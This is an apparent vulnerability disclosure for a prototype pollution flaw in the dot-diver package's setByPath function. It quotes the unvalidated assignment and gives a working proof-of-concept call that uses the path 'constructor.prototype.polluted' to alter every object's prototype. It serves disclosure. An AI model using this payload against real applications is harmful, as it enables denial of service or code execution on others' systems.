Prototype Pollution(PP) vulnerability in setByPath

Summary

There is a Prototype Pollution(PP) vulnerability in dot-diver. It can leads to RCE.

Details

//https://github.com/clickbar/dot-diver/tree/main/src/index.ts:277

// eslint-disable-next-line @typescript-eslint/no-unsafe-member-access
  objectToSet[lastKey] = value

In this code, there is no validation for Prototpye Pollution.

PoC

import { getByPath, setByPath } from '@clickbar/dot-diver'

console.log({}.polluted); // undefined
setByPath({},'constructor.prototype.polluted', 'foo');
console.log({}.polluted); // foo

Impact

It is Prototype Pollution(PP) and it can leads to Dos, RCE, etc.

Credits

Team : NodeBoB

최지혁 ( Jihyeok Choi )

이동하 ( Lee Dong Ha of ZeroPointer Lab )

강성현    ( kang seonghyeun )

박성진    ( sungjin park )

김찬호    ( Chanho Kim )

이수영    ( Lee Su Young )

김민욱    ( MinUk Kim )